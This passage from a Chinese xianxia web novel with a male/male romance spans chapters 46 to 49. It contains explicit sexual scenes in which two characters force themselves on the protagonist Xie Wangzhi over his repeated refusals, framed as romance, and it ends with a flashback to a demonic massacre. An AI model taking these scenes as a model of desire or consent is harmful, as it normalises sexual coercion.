话音落下,裴云峰面色煞白,嘴唇都颤抖。眸中翻滚的雷电酝酿许久,一场暴雨终于压下。浓密长睫很快被打湿,一张俊脸泪痕交错。 谢妄之与人对视,神色漠然,无动于衷,甚至蹙眉不耐道:“听不懂人话吗?放开我。” 他趁势挣扎,未想到,对方攥住他双腕的力道陡然加大。紧接着,空气中迸出一阵裂帛声响,他被捞起一条腿。 身体骤然失衡,脊背将门板撞得轰响。 对方将脸颊埋入他颈窝,张嘴狠狠咬了他一口,本就伤痕累累的脖子又添新伤,接着放开他的手腕,转而箍着他的腰。 “裴云峰!——” 犹如烈火烧灼,又像是浑身过电,谢妄之陡然睁大眼,激烈挣扎,身体却颠簸,没有支撑,如风浪中的一叶扁舟,下意识攀住对方肩背。 这样似乎比之前更难捱,谢妄之忍不住踮起脚。可不到片刻,腰眼与双腿肌肉都酸麻,便又自己卸了力。 他气得也一口咬住裴云峰的脖子,舌尖尝到血腥味都不肯松嘴。未想竟把人惹得更兴奋,喷洒在他颈侧肌肤的气息一瞬炽热粗重。 片刻后,裴云峰松开嘴,轻轻舔吻着自己咬出的伤口。顿了顿,像是没忍住,又低头咬了谢妄之一口,凶狠道:“我讨厌你!” 但他声音低哑,鼻音也明显,说话间不断有热烫的雨淅淅沥沥淋下,说着讨厌却半点不肯松手,听起来更像是撒娇。 “讨厌就放开我!发什么疯!” 谢妄之挣脱不开,气得咬牙切齿,又想咬他,又怕奖励了他,只好冷笑着继续嘲讽: “不知白家人眼睛到底怎么长的,竟挑了你做助教。道貌岸然,以权谋私,说着劝学,却是劝到榻上去,唔——” 裴云峰不说话,却用别的回应,门板被撞得砰砰响,接着又偏过头吻谢妄之的耳廓与脸颊。快吻到嘴唇时,却被谢妄之偏头避开。 他面色陡然阴沉,双眸却愈加湿润,不依不饶追着吻。可触上谢妄之的唇瓣时又被狠狠咬了一口,直咬出血,只好退开些。 却见谢妄之睨着他挑衅地笑,唇瓣还沾着一点殷红,透出难以言喻的欲色。 他呼吸一滞,浑身愈加热烫,猛然矮身,把对方另一条腿也捞起来,带着人往静室深处走,哑声道:“劝学方式有很多种。” “裴云峰!放开我!” 身体被整个抱起,谢妄之睁大眼,下意识挣扎,却被带离门边,全然靠裴云峰支撑。一瞬间的失衡下坠感令他不由自主攀紧对方的肩背,只觉愈加羞恼。 他忍不住斥骂挣扎,可身体往下滑落却令他更加难堪,不由僵住,双臂抱紧对方。 而裴云峰很满意他的“主动”,故意磨着他,几步路的距离走得快有一个时辰那般漫长,甚至故意往返。 第一趟时谢妄之还挣扎着想下地。第二趟时肌肉已酸软,甚至微微抽搐,便只是骂。第三趟时他的嗓音都哑了,被裴云峰吻住嘴唇,缠着舌贪婪吞咽。 直到谢妄之筋疲力尽,裴云峰才抱着他坐下来,双臂紧箍着他的腰,脸颊埋在他颈窝里来回蹭,神色餍足,声音低哑问:“与他相比,如何?” “呵。” 经过几番折磨,谢妄之已经累得一根手指都不想动,也被磨得没脾气了,闻言冷笑了声,懒散地靠着对方,说的话却不饶人,“差得远了。” “谢妄之!” 裴云峰陡然变色,猛地直起身,双手攥着他肩膀,五指用力收拢,委屈又不甘,眼睛再度变得湿润,哑声追问道:“真的么?很不舒服吗?” “……” 谢妄之没忍住翻了个白眼,又扬起手想甩人一巴掌,却又怕把人惹兴奋,犹豫间一时滞在半空,被裴云峰捉住手腕放到唇边亲吻。 “别碰我!”谢妄之当即蹙眉,这次的巴掌毫不犹豫,语气嫌恶冷漠,挣扎着起身,“做够了就放开我!” “亲你也不行么?”大概是因为得到满足,裴云峰没有先前的气势汹汹,只有些委屈,双手又攥紧他的腰。 “连讨厌的人都亲得下去,看来裴少家主比谢某更加随意放荡。”谢妄之冷笑。 “不、不是!”裴云峰微微睁大眼,脸颊与耳廓一瞬红得艳丽,双臂搂紧他的腰,又贴过来讨好地蹭他,“谢妄之,我方才说的都是气话,不是真心的,对不起,你别生气……” “哦。”谢妄之冷漠地应了声,又恶劣地勾唇,“你说的是气话,但我说的是真心话。” 话音落下,裴云峰陡然僵住,又直起身看他,才缓和些许的脸色立时变得阴沉,双眼微微眯起,紫色的电光一闪而逝。 沉默看他片刻,裴云峰一字一句问:“为什么他可以,我不行?” “……”谢妄之不由蹙眉。 其实从一开始他就很清楚自己想要的是什么。他只是享受这样的过程。 他早就想过,这几个人估计都不愿雌伏。只要有人开一个头,便会一发不可收拾,所以他一直没有过线。 谁来都不可以。 谢妄之本想这么说,又怕裴云峰太舒坦,可白青崖刚惹他生气,他也不想夸。 犹豫间,不知道裴云峰自己胡思乱想了些什么,眼神愈发暗沉,接着竟是猛地又将他扑倒在地,神色阴鸷疯狂。 “裴云峰!” 谢妄之不由瞪大眼。他已经被折磨惨了,受不住,不由激烈挣扎,双腿不住踢蹬着对方胸膛与肩膀。 把人踹开一些,他忙不迭起身要跑,双腿却酸软得使不上力,没跑出两步就跪了下去。 不等他爬起身,脚踝被人攥住,猛地使力往回一拽,便把他整个又拖了回去。 “谢妄之……” 对方贴上他的脊背继续,双手紧攥住他的腰,俯身将脸颊埋进他颈窝里,喘息炽热粗重,低哑着声一遍遍喊他的名字。 “滚开!” 谢妄之发疯一般挣扎,强撑着往前爬,才逃出几寸立即被追上,腰肢塌软,整个瘫倒,脸颊被迫贴着地面来回磨蹭,像是蹭破皮了,火辣辣的疼,只好用额头抵着胳膊。 “谢妄之,我们结契吧,好不好?跟我结契,跟我结契好不好?谢妄之,求你了……” 对方脸颊埋在他颈窝里,侧头不住吻他。与他相贴的脸颊湿漉漉一片,蹭得他侧颈肌肤也湿润,动作间不断有热烫的雨淋在他脖颈与肩膀。 谢妄之不愿回应,咬紧牙憋住声音,闭上双目,脸颊埋在自己的胳膊里,权当没听见,却又被人捞起来亲吻。 对方热烈贪婪地与他勾缠,触感分明湿软柔滑,像一块糕点,尝起来却咸涩,苦得令人不由蹙眉。 不知裴云峰又弄了几次,他实在被折腾得太久太惨,最后竟不知道自己何时失去了意识。 再醒来时,他发现自己已被送回了住处。 身上除却有些不适,倒是清爽,床褥也都换了崭新的。淡青色的幔帐垂下,光线昏暗,辨不清此时是什么时辰。 空气里隐约弥漫着一股药膏的清凉与苦涩混合的香味,嗅之倒令人神思一清。 谢妄之抬起手捏了捏自己的眉心,再放下手臂时,忽然注意到幔帐之外立着一道颀长白影。 他悚然一惊,猛地坐起身,一时不慎,头颅竟撞上坚硬的床头壁,一瞬疼得他头晕目眩。 等视野再恢复清明时,一只修长玉润的手已经撩开幔帐,露出那人昳丽绝尘的脸。 第47章 .寓.言.整.理.公子分明是我的。 是池无月。 谢妄之微微蹙眉。 “公子要起身怎么不慢些,方才可是撞疼了?” 不等他反应,池无月便向他倾身凑近,伸手轻轻抚摸他后脑,冰凉指腹掠过他脖颈肌肤,神色关切,嗓音低柔。 仿佛触电一般,谢妄之下意识倾身躲避,又抬臂拂开对方,“无碍。你何时过来的,我睡了多久?” 话出口,他这才发觉自己的嗓子又疼又哑,焦渴得快要冒烟。接着又很快回想起之前的事,顿时羞怒,却不好发作。 而且……他看向池无月。他没想到会是在这种情况下与人碰面,他毫无准备。 但是对方表现如常,眼神关切,说着便转身去倒了杯水,给他递过来,“奴是昨日来的,公子大概昏睡了两日。先喝些水吧。” 对方似想要喂他,将茶杯递到他嘴边,指尖轻抵着他唇瓣。 “不用。” 谢妄之不由蹙眉,偏头避开,对方却不依不饶。他不愿令水洒出,只好低头就着对方的手喝了。 “公子再喝一些。” 他饮完,池无月又去给他倒,往返了三趟,次次都要亲手喂他,直到谢妄之忍不住斥声“够了”才停下。 谢妄之用手背抹了一下嘴唇,心里奇怪池无月怎么敢这样强硬。又想起什么,往人身后瞥了眼,“司尘呢?没有与你一起么?” “……有的,只是他没进来。” 正盯着对方湿润嘴唇的池无月,闻言下意识装作温驯地低头,双臂垂在身侧,借着宽袖掩饰,二指并起来回摩挲,回味着方才的触感。 “哦。”谢妄之应了声,置在锦被上的手指无意识地攥紧,面上尽力装成无事发生的样子,“那你们怎么来了?” “……” 空气诡异地沉寂,谢妄之不由愈发紧张,半晌才听见池无月很轻地笑了一声,似是嘲讽一般低声道:“奴若是不来,怎知公子叫人欺负了。” 虽然确实是被强迫,但谢妄之不愿承认,也不喜欢这种说法,忍不住蹙眉道:“胡说什么。” “那,是公子主动,自愿的?” 池无月猛地抬头看他,双眸中墨色向眼白晕染侵占,黑色的蛛丝从眼眶爬出,迅速向整张脸蔓延,甚至爬向脖颈,直到衣襟遮掩处。 不等他答话,紧接着又问:“只有白青崖吗?公子身上的痕迹,不止是一个人弄的吧?” 说着,池无月倾身凑近,一缕缕黑色的烟雾从脊背钻出,浓稠得如有实质,转瞬间就盈满了整张床榻。 甚至逼近了谢妄之,将他围困在一个狭小的空间内,若有若无地蹭着他的衣物与肌肤,传来湿润粘稠的触感。 “你这是做什么?” 猝不及防,谢妄之扫了眼周围,眉头蹙得更深,又微抬下颌,睨着对方,“本公子要如何做,难道还要经你允许么?轮得到你来置喙?” 说是如此,却如临大敌般身体紧绷,试图不动声色地往床榻里侧挪去,有些色厉内荏。 “奴自是不敢干涉公子的决定。可是……” 池无月微微勾唇,竟提膝上榻,周身弥漫的黑雾也一瞬间紧贴上他的肌肤,甚至从锦被、衣襟的缝隙中探进来,无孔不入。 像是被舌头舔舐吮吻,浑身俱传来湿淋淋的粘稠触感。放在锦被上的手被黑雾完全吞没,仿佛陷入泥泞沼泽,指尖被含着吸吮,向深处拖拽。 “可是什么?”谢妄之眉心紧拧,试图挣脱,却连带着整条手臂都被黑雾淹没,根本拔不出,不由低斥了声,“本公子允你上榻了么?滚下去!” 却见池无月充耳不闻,像是醉酒一般,双颊与耳廓染上艳丽绯色,陶醉享受地微微眯起眼睛。 又俯身凑近他,双臂圈住他的腰,脸颊贴着他轻蹭,呼吸紊乱粗重,气息变得灼烫,喷在他的耳廓与颈窝,软声诱哄道: “谢妄之,你若是想要,找我不好吗?想怎么做,做多久,都随你,一定会让你满意的,毕竟我们先前相性就很好。” 闻言,谢妄之不由睁大眼,终于知道方才为何会觉得奇怪。 他偏头躲避对方,咬牙切齿道:“你是池越?” “嗯?你认出我了?” 对方轻挑了下眉,竟不再伪装,双臂猛地收拢,像是要将他整个融入自己的身体,骨头都像是要被碾碎,抱得他发痛。 接着又伸舌舔舐他的脸颊与耳廓,嗓音似裹了蜜,甜得能拉出丝,“不愧是公子,好厉害。公子既能一下就认出我,是不是也一直在想我?” 对方话音落下,谢妄之浑身都被黑雾吞没,仿若被海水淹没头顶,周遭黯淡无光,胸口窒息闷痛。又像是陷入沼泽,肌肤传来的触感湿润粘稠。 那些黑雾当真无孔不入,丝丝缕缕侵吞,难以言喻的酥痒电流般窜上尾椎,令浑身都发麻发抖。 “池越!放开我!” 谢妄之羞怒交加,心中警铃大作,不由激烈挣扎。对方在不知不觉间松开了他,可他仍挣不出,在潮水一般的黑雾中越陷越深。 他的身体本就还未恢复,渐渐受不住,抖如筛糠,又瘫软着蜷缩成一团,大口喘息。 可张嘴的瞬间就被黑雾侵入,舌尖被缠着吸吮,甚至拽出口腔,唇角银丝流淌,连身上发的汗都被黑雾贪婪吞噬。 “哈啊……池、池越,停下……” 他终于受不了了,不得不向对方低头,哑着声哀求,可舌头被缠着,话都说不清楚。 而池越还不肯将他放过,居高临下看他倒在床褥之中蜷缩着发抖,任由黑雾肆虐,兴奋得满脸通红,双眸湿润。 脸颊与脖颈都覆满弯曲的黑色丝线,像是身体快要瓦解的裂纹。颊边的梅花盛放,朵朵殷红,似能沁出血。 容色绝艳,却如鬼魅。分明被刻了奴印,却好像完全不受束缚,肆无忌惮欺压主人。 他俯身,双臂撑在谢妄之头颅两侧,眯眼欣赏着对方现下的模样。 乌发铺散,雪色寝衣被汗水浸润得半透,松散开敞。黑雾似条条绳索紧密束缚,将皮肉勒得凹陷,反衬得胸腹肌肉饱满紧致。浑身汗湿,像浇了层蜜,泛出诱人肤光。 不过一眼,喉咙便涌上难耐的焦渴。池越呼吸微滞,喉头轻滚几下,又伸手轻轻抚摸谢妄之汗湿润红的脸,低声问: “公子既想要我停下,准备拿什么与我交换?” “你!” 谢妄之不可置信般睁大眼,四肢不断挣扎,却被黑雾缠缚,身体在榻上左右来回翻滚,始终逃不出,就像是砧板上的鱼肉。 “公子分明是我的,却叫别人碰了……” 池越伸手整理他被汗濡湿的发,指尖拈着一缕轻柔别到耳后,动作慢条斯理,语气也温柔,却叫人不寒而栗,“公子应该也知道,我很生气吧?” “唔!”口腔被填堵,舌头也被缠着,根本说不出话,谢妄之狠狠剜了对方一眼。 等黑雾又折磨了他一会儿,池越这才像是反应过来,低笑了声,指尖回勾,黑雾如潮水般退去些许。 新鲜空气猛然涌入,谢妄之本能大口喘息,又被呛到,咳嗽了会儿才咬牙切齿地哑声问:“你要什么?” “公子能给什么?”池越不答反问,说着俯身,鼻尖亲昵地来回蹭他的脸,又在他脸上啄吻、伸舌舔舐。 脸上湿漉漉一片,谢妄之不由蹙眉,想偏头避开,又怕惹人发疯,只好硬生生受着。 “那就,”见他不答,池越只好自己讨要,微微直起身,指尖轻轻点了下自己的嘴唇,软声撒娇,“公子亲我一下好不好?” “……”谢妄之眉头蹙得更深,薄唇紧抿,嫌恶之情溢于言表。 “公子是不愿意么?”池越仍微笑着,双眼却危险眯起,眸中毫无笑意。 谢妄之犹豫片刻,终于赶在对方发作之前,奋力挺起上身在人唇上碰了一下,比蜻蜓点水还要轻浅短暂。 却见池越瞳孔陡然放大,浑身僵住,呼吸都凝滞,仿若雕塑。 过了会儿才像是又活过来,长睫如蝶翅般颤抖,覆满脸颊与脖颈的黑色丝线一瞬消逝,取而代之的是一片艳丽绯色。 “谢妄之,我还要,”他俯身用鼻尖不停蹭谢妄之的脸,呼吸急促,声音沙哑,“再亲我一下。” “滚。” “谢妄之,我还要,谢妄之……” 谢妄之撇开头,对方却不依不饶,双臂抱紧他,像狗一样拱他,不停喊着他的名字撒娇,尾音延长,似能拉出丝。 他实在被烦得没办法,只好又在人唇上印了一吻,如方才一般浅尝辄止。 但这回池越没那么好哄了,瞪大眼睛看他一会儿,竟耍赖道:“不行!你没伸——” 谢妄之忍无可忍,索性以吻封缄。 在人唇上微微停了一会儿,他慢慢张开口,探出舌。 喷在他面上的气息微微一滞,随后热烫得像是能喷出火,眼睫簌簌颤抖。 与那双眼凑得这般近,像是坠入漆黑的深潭,谢妄之忍不住退开些。 抱着他的双臂猛地收拢,又在他说“闭眼”时缓慢放松,接着温驯地启唇接纳。 唇舌交缠间,粘稠水声充斥耳畔,呼吸相融。直到长久的一吻毕,丝线牵出又断裂。 谢妄之偏过头,微微喘息着,睨了对方一眼,“够了?” “公、公子!——” 却见池越猛然睁开眼,瞳孔颤动着放大,神色一瞬惊诧,但又很快恢复如常。 闻言迟疑了一下,随即轻轻摇头,气都没喘匀,又伸手扳过他的脸。像是试探什么,动作很轻。 第48章 两池打起来了。 池无月有些紧张,身体僵硬,却发烫,下腹也胀得疼。 他不知道为什么自己分明是在梦中与谢妄之耳鬓厮磨,结果一睁眼就变成了真的。 其实类似情况已有过好几回了,对此,他心里隐隐有些猜测,但这时候的他顾不上。 他不想停下。 “谢妄之,”他轻咽了口唾沫,学着梦中的语气开口,一面垂眼小心觑着谢妄之,生怕被人瞧出什么不对来,“不继续了么?” 对方拧眉看他,片刻后眉宇舒展,眼神意味深长。却是不置可否地一笑,“你先放开我。” “……”池无月微微抿唇,长睫倾覆,模样看起来有些委屈,身体不动。 “怎么?又不听话了?”谢妄之又蹙眉,语气微沉,被黑雾缚在身后的双臂挣扎了一下示意,“松开。” 他认出来现在这人是谁了。虽然不知道为什么这么突然,但,若是池无月,大概会比池越好对付吧…… 但他话音落下好一会儿,池无月都没动。长睫低垂,视线凝在他的嘴唇,又缓慢移到他的脖颈、胸口及腰腹,审视般来回逡巡,眼眸微微眯起,目光冰冷锐利。 紧接着,缠在谢妄之身上的黑雾陡然膨胀,如海面掀起滔天骇浪,一瞬间又将他吞没。 “池无月?!” 谢妄之瞪大了眼,感觉到才消停些的酥痒又窜上尾椎,令他浑身发麻发抖。 而池无月紧掐着他的下颌,倾身吻了上来。手指用力锢着他的颌骨,令他无法合拢口腔,缠着他的舌不住贪婪吸吮,强硬得丝毫不容拒绝。 什么时候池无月也敢这样忤逆他了? 相较其他人,谢妄之莫名更加恼怒,浑身气得发抖,却连咬对方一口都做不到。 他的口腔无法闭拢,舌头被缠着拖出。涎水不及吞咽,止不住溢出唇角。 但片刻之后,池无月就自己将他松开了,微微直起身。 对方视线落在他身上,却又好像不是在看他,神色骤冷,眉心紧蹙,眼睛眯起,“谁准你碰了?” 说完,对方紧接着又换了副惊讶表情,眉峰挑起,双眸睁大,而后眼神变得警惕防备,冷声道:“你是谁?” 话音才落,紧接着又冷笑了声,自己回答道:“与你无关。” 池无月就跟疯癫似的,两种神情来回换,不停自言自语。 虽然最后他的表情趋近于统一和谐,但吞没谢妄之的黑雾,还当真如潮水,一会儿涨一会儿退。 “池……?”谢妄之懵了一下,随即迅速反应过来,趁势挣扎着要逃下床。 他一只脚已经踩上了地面,未想到,下一刻,腰肢又圈上两条手臂,猛地将他拖回去,脊背撞上不知道是谁的胸膛。 但紧接着,那两条手臂又自己打起架来,一只手狠狠拍向另一只手的手背,力道毫不留情,白皙皮肤很快浮起一片鲜红,“放开!” 然后另一只手也不甘示弱,狠狠掐着自己的手腕,皮肤登时青紫一片,甚至能听见骨裂的声音,“滚!” 谢妄之看明白了,只希望池无月两人打起来,顾不上自己是最好。 他趁势抓着“两人”的手臂扯开,但未想到对方很快团结一致地又牢牢圈住他,黑雾再度翻涌,转瞬又将他吞没。 谢妄之不由恼了,咬牙斥道:“发什么疯?” 但其实他话音未落,那些黑雾立刻又尽数退去,只剩腰间还圈着两条手臂。大概是他们又“内讧”了,但还知道什么最要紧。 “你们到底想干什么?”谢妄之眉头蹙得更深,紧抓着对方的手臂挣扎,手肘用力往后捅,“给我滚下去!” “‘你们’……?” 池无月微微一怔,看见谢妄之表现得毫不意外,终于反应过来,立时冷下脸。他很快想起从前的事,心中的猜测得到证实,眼眸危险眯起,“看来公子是早就知道了?” 不等谢妄之答话,池越又夺回了身体的操控权,将脸颊埋进谢妄之的颈窝里,亲昵地侧头用鼻尖轻蹭了蹭他,声音像是裹了蜜道: “那不然呢?谢妄之早就与我两情相悦,你才是突然冒出来的第三者,若是识相就快滚。” “你在胡说什么?”谢妄之偏头避开,咬牙切齿反驳。 池越很明显在胡说八道、挑拨离间,而池无月像是相信了,竟让池越维持了好一会儿,又亲昵地吻谢妄之的耳垂、脖颈。 片刻,大概是觉得不甘心,又或许是胡思乱想了些什么,池无月忽然又出声向他求证,嗓音低哑,微微有些颤抖:“公子,他说的是真的么?你们……是什么时候的事?” “不是,他——” 谢妄之有些无奈,但话未说完便又闭上了嘴。算了,也没什么好解释的。他倒要看看池越会怎么编。 或者说,他想知道,池越到底是从什么时候出现的。难道他们从一开始就是一体双魂?池越第一次出来的时候他便问过,但对方不肯说。 “当然是真的。你可有想过……”池越意味不明地低笑了声,诱哄似的,嗓音微低,“谢妄之从前对你很好,为何忽然对你转变了态度,甚至要给你刻奴印?” 闻言,谢妄之不由微微睁大了眼。 这句话的意思是,那时候池越便在了?甚至是更早以前。 而池无月面色骤冷,周身才退去的黑色潮水一瞬间又将谢妄之吞没。 分明还有许多事解释不清,但不知池无月自己胡思乱想了些什么,情绪猛然爆发,竟将池越牢牢压制,掌控了身体的主权。 谢妄之的视野陡然一片漆黑,身体像是陷入沼泽,四肢被拉扯、拖拽向深处,传来难以言喻的粘稠与沉重感,令他使不上力。胸口愈发沉闷压抑,快要窒息般喘不上气。 “……池无月,做什么?”谢妄之不由身体紧绷,如临大敌。 一直以来,池无月是几个人里表现得最听话乖巧的,他也一直以为对方会是最好对付的。 如此看来,他大概是想错了。 直到此时,先前便有的,什么东西正在脱离自己掌控的不安与焦虑达到了顶峰。 不知现在的池无月是否也如池越一般不受奴印束缚,他强捺住呵斥的冲动,开始思考该怎么哄人,才不至于又令自己陷入方才那种难堪的境地。 但是话说回来,为何这奴印刻了跟没刻似的?? 而与此同时,黑雾将他笼罩之后,池无月便没有了下一步动作。 耳畔传来的呼吸声却逐渐炽热粗重,气息喷洒在颈窝,越来越近,像是猛兽从身后步步迫近,令他愈发紧张、脊背汗湿,却仍没有思路。 他早就习惯对池无月颐指气使,就算是从前也没有这么纡尊降贵的时候。 谢妄之的心率逐渐过速,连呼吸都下意识地屏住。 未想到,下一刻,侧颈忽然贴上一片柔软细腻,来回轻蹭了蹭,原是池无月将脸颊埋入他的颈窝。 谢妄之微微睁大了眼,身体仍僵住。他不知对方要做什么,不敢轻举妄动,免得又把人刺激得发疯。 又过了会儿,才听池无月声音低哑地问:“公子,为什么?他说的是真的吗?奴先前便问过公子,但是公子并未……” 但是谢妄之并未回答,只是含糊地摸了一下池无月的脑袋以示安抚。 而此刻的谢妄之也不知该怎么回答,薄唇紧抿,半晌才干巴巴道:“不是。” “不是什么?”池无月不满意这样的回答,猛地抬起头,不甘心地追问,微微哽咽,“公子,公子告诉我好不好?谢妄之……” 对方一直追问,双臂不停收拢,像是要把他嵌到自己身体里去。离得这么近,谢妄之能感觉到对方身体在发抖,声音听起来像是快哭了,撒娇似的。 谢妄之被烦得没办法,不由自主顺着对方的话又回想了一遍那个梦。 但是不等他开口,胸口陡然传来一阵窒息般的闷痛,全身经脉与丹田像是烧起来,灼痛非常。后腰处曾被剜出剑骨的地方更是刺痛难忍,好像再一次被剖开皮肉。 分明这两日才经过白青崖与裴云峰“帮忙”,竟没有好转,还比之前更剧烈。 谢妄之脸色一瞬煞白,额角与脊背很快沁出细汗,全身都发抖。 他紧紧咬牙憋住呻吟,试图掩饰什么,但池无月立刻就发现他的异常。 与肌肤相贴的黑雾立即渡过来一股灵力,极为自然熟稔,不过片刻就极大缓解了他的不适。 谢妄之微微一怔,下意识侧头看向对方,正对上一双漆黑得不见眼白的眼,迟疑了一下,蹙眉问:“你是……?” 对方不答,继续往他身体里渡灵力,同时凑过来亲昵地蹭了一下他,“谢妄之,这样感觉好些了么?” “你是池越。”谢妄之立时认出来,眉头蹙得更深,“你怎么会知道——” “因为你每一次都会这样。”池越微微勾唇,打断了他,伸舌轻轻舔去他淌到脖颈的汗,“我方才不是说了么?我们身体相性很好,一直都是我帮你梳理的。” 每一次?这是什么意思? 谢妄之微微蹙眉。紧接着,心里陡然生出些莫名的、毫无根据的猜测,可他直觉那就是真的,不由瞳孔骤缩。 “呵。” 像是终于不屑伪装,池越又低笑一声,双手扳过他的肩膀,又捧住他的脸,更凑近些,鼻尖抵着他来回轻蹭,姿态亲昵又依赖,说的话却叫人毛骨悚然: “谢妄之,为什么你每次都要拒绝我?所以,我也只好任由剧情发展了。” 第49章 入魔 “你、你在,说什么……” 谢妄之一怔,呼吸陡然急促,胸膛起伏剧烈。他想强捺住,却连嘴唇都颤抖。 任由剧情发展……所以,池越什么都知道,却每一次都对他见死不救吗? 强烈的恨意填满心胸,令他浑身发抖,才压下的心障很快卷土重来,耳畔嗡鸣阵阵,视野充斥一片猩红与白芒。 池越沉默看他,片刻竟是低笑一声,“我果然没猜错,你也记得。不过,你好像是突然想起来的,就是你赐我奴印的那天,对吗?” 但是他很快又自己否定道:“不,你不是全都记得,至少你不记得我——” “那又如何?” 不等他说完,一只手猝然掐上他的脖颈,五指用力收拢,手背青筋浮动。 池越神色一怔,感受到喉骨传来剧痛,像是要被捏碎,周身漫上彻骨严寒,却并未挣扎,只是看着谢妄之。 只见本被黑雾吞没的人不知何时挣脱出来,点漆双眸此刻只剩眼白,像是被大雪覆没,黑色的魔纹从颌角向脸颊蔓延。 周身冰寒灵气外泄,以其自身为圆心,周遭一切在眨眼之间蒙上一层白霜,如落雪般寂静无声,连潮水般汹涌的黑雾也被冻结。 此时的谢妄之,离彻底入魔只有一步之遥。 致命处受制于人,池越并不讨饶,蛛丝般的黑线从眼眶爬出,很快蔓延到脖颈,又继续往下,像是整个人快要碎裂。 面上却只是垂下长睫,唇角委屈地向下撇,微微哽咽道:“你又想杀我……” “呵。给我一个不杀你的理由。”谢妄之冷笑,五指继续收拢,声音像是从牙缝里挤出,“屡次忘恩负义,见死不救——” “不是的!我……”对方立时焦急反驳,话说一半却止住,又垂下眼睑,眼眶发红,嗓音更低哑,“没用的。我死了,只是又重来一次,什么都不会变。” “你怎么知道?”谢妄之微微眯眼,止住力道,却也并未放松,“……难道你一直都记得?” 池越轻应了声“嗯”。 “……我们重来了几次?”谢妄之眉头蹙得更深。 “我不知道,太多了。”池越摇头,又轻扯了下唇角,笑容却满是苦涩,“或许你可以数数,我身上碎了多少块?” “什么?”谢妄之下意识追问。 对方却不答,猝然牵住他另一只手,带着他解开自己的衣襟,力道强硬不容拒绝。 只见雪肤寸寸展露,本该光洁无瑕,此刻却遍布一道又一道黑线,密密麻麻,如蛛网一般向四周蔓延。整个身躯像是一件濒临碎裂的瓷器,勉强保持着完整。 “……这是什么?” 谢妄之微微一怔,眼前忽然闪过些光怪陆离的画面,手指如触电般缩回。 对方眼疾手快截住他,强硬攥着他的手腕,迫使他的手掌贴在自己胸口。两者间不留一丝余裕,掌下那颗心脏蓬勃跳动,仿佛透过皮肉,擂鼓一般敲击在他的手心。 而那些密密麻麻的黑线便从他手下穿过,又像是从他掌心里爬出,令人头皮发麻,忍不住想缩回手。 池越却强攥着他的手,紧盯着他,双眸黑不见底,眼尾却绯红,渐渐滑下湿痕。片刻,微微勾唇道: “你每杀我一次,我身上便多一道裂纹,头发跟着长长一寸。” “……”谢妄之瞳孔骤缩,猛地用力抽回手。连掐着对方脖颈的手也一并收回,背在身后,用力攥成拳,不住发抖。 池越微微顿住,又勾唇笑了一下。脑后乌发瞬息暴涨,如瀑倾泻至床下。发尾如云堆叠飘动,与先前翻涌的黑雾融在一起。 眼见那团黑色向他流动,谢妄之眼神一凛,本能后退躲避。 但还是迟了一步。 分不清是黑雾还是头发的东西将他缠住,猛地往前大力拖拽,迫他身体失衡,陷在池越怀中,仿佛是陷进沼泽。 对方伸臂锢住他的腰,另手牵起他的手掌,把脸颊置入他掌心蹭了几下,低声道:“你先前不是问我,我与他是不是一体双魂?那时我不想说,现在,我告诉你。” “闭嘴!”谢妄之已经猜到,猛地收回手,激烈挣扎,浑身发抖,连声音都发颤。 池越牢牢锢着他,又与他额头相抵,姿态亲昵,低笑着续道:“我与池无月本是一体,是你亲手养出了我。” 池越,是谢妄之亲手养出的妖邪。 靠得这般近,谢妄之避不开,只得与人对视。却像是坠入漆黑的深潭,神思忽然变得沉重,无法自拔。 而方才那些光怪陆离的画面莫名又出现在眼前,逐渐变得清晰而具体。 周遭仿佛在瞬息间离他远去,他的视野空无一物,只有一片猩红与黑暗。耳畔充斥着不知谁人的咒骂与叫喊,声音尖利,吵得他头疼。 他费力凝神,总算看清了什么。 只见天色黑沉,浓云密布,紫色的雷龙在云间翻滚游走,嘶吼阵阵。 而在云层之后,一道狭长裂隙几乎横亘整片天空。分明只出现一瞬,地上人的脊背犹如压上千钧之鼎,只得臣服低头。 谢妄之仰头看着天空,半晌终于朦胧地想起来—— 他渡劫失败了。 天道“拒绝”了他。 想起来之后,他的身体知觉也慢慢恢复。 全身经脉与丹田似被烈火烧灼,灵力逆行,已尽数转为魔气。 四肢酸痛僵硬,衣物不知被什么浸润,沉重地拖着身体。 脸上沾着温热而粘稠的液体,刺鼻的血腥气钻入鼻腔,耳畔的声音也变得清晰。 他低头,只见自己身边躺着许多人,各个浸在血泊之中。 不远处,一人似乎想要逃跑,见他望过去,当即腿软地跌倒在地,满目惊恐地看他,身体抖如筛糠。 他还未动作,那人立即跪下,不停向他磕头,脸上涕泗与血液横流,“不、不要杀我,求求你,不要杀我……” 谢妄之不记得这个人是谁,或许根本不认识对方。只是漠然看了一会儿,而后抬手、挥剑—— 未想到,千钧一发之际,他的剑被阻挡。 来人的招式、灵力与他同源,眉目也与他有几分相似。平素谦逊有礼、温润如玉,总是微微笑着,不怒自威。 是他的兄长,谢霁。 此时的兄长持剑与他相抗,表情冷峻,眼神中满是痛心与失望。 谢妄之被那眼神一刺,神色瞬时狰狞,再度提剑! “谢妄之!” 谢霁再次拦下他,两剑相碰,擦出刺目火光,凛冽风雪几乎将这一片天地笼罩。 他不管不顾,而兄长出手克制,竟不敌他。虽是分毫不让,唇角却逐渐滑下一缕殷红,声音像是从牙缝中挤出:“住手,不要一错再错。” 那一抹赤色似乎将他灼伤,谢妄之不由动作一顿,神色挣扎,呼吸微滞,“兄长,我……” 还未及罢手,身后又传来声音,语气刻薄刺骨:“啧啧啧,叛道入魔,屠戮无辜。瞧瞧,这就是你们谢家教出来的人,还自诩什么‘清明端正’,真是可笑。” 情绪才缓和些许的谢妄之,闻言又发疯,当即循声转头,周身魔气汹涌暴动,五指紧攥着剑柄,指骨捏得微微作响。 只见他身后是一群闻讯而至的各世家长老,神色各异,但多数是事不关己、幸灾乐祸的冷漠与嘲讽。 他不知是谁说的话,索性不找了,冷笑勾唇,提剑便要挥出。 却有人出手比他更快,一道赤色的刀光陡然袭至面门。 其实此时的谢妄之已是强弩之末,根本避让不及,见状不由眉心紧蹙,打算硬接。 手臂却忽被人大力一扯,猝不及防间,他的身体顺势往旁侧避让,视野一瞬模糊。 等他再看清时,只见谢霁持剑挡在他身前,神色骤冷,语气也不复往日温和:“我谢家子弟犯错,谢某自会管教,轮不到外人插手。” “我儿——” 谢霁话音落下,人群之中忽然冲出一个中年男人,大步奔到他们身边,自血泊之中抱起一具尸体,双眸瞪大,不住拍打着他的脸,惊叫道:“我儿!醒醒,醒醒!” 但是任那中年男人如何拍打、叫喊,躺在他臂弯中的人始终没有回应,片刻后忍不住崩溃地失声痛哭。 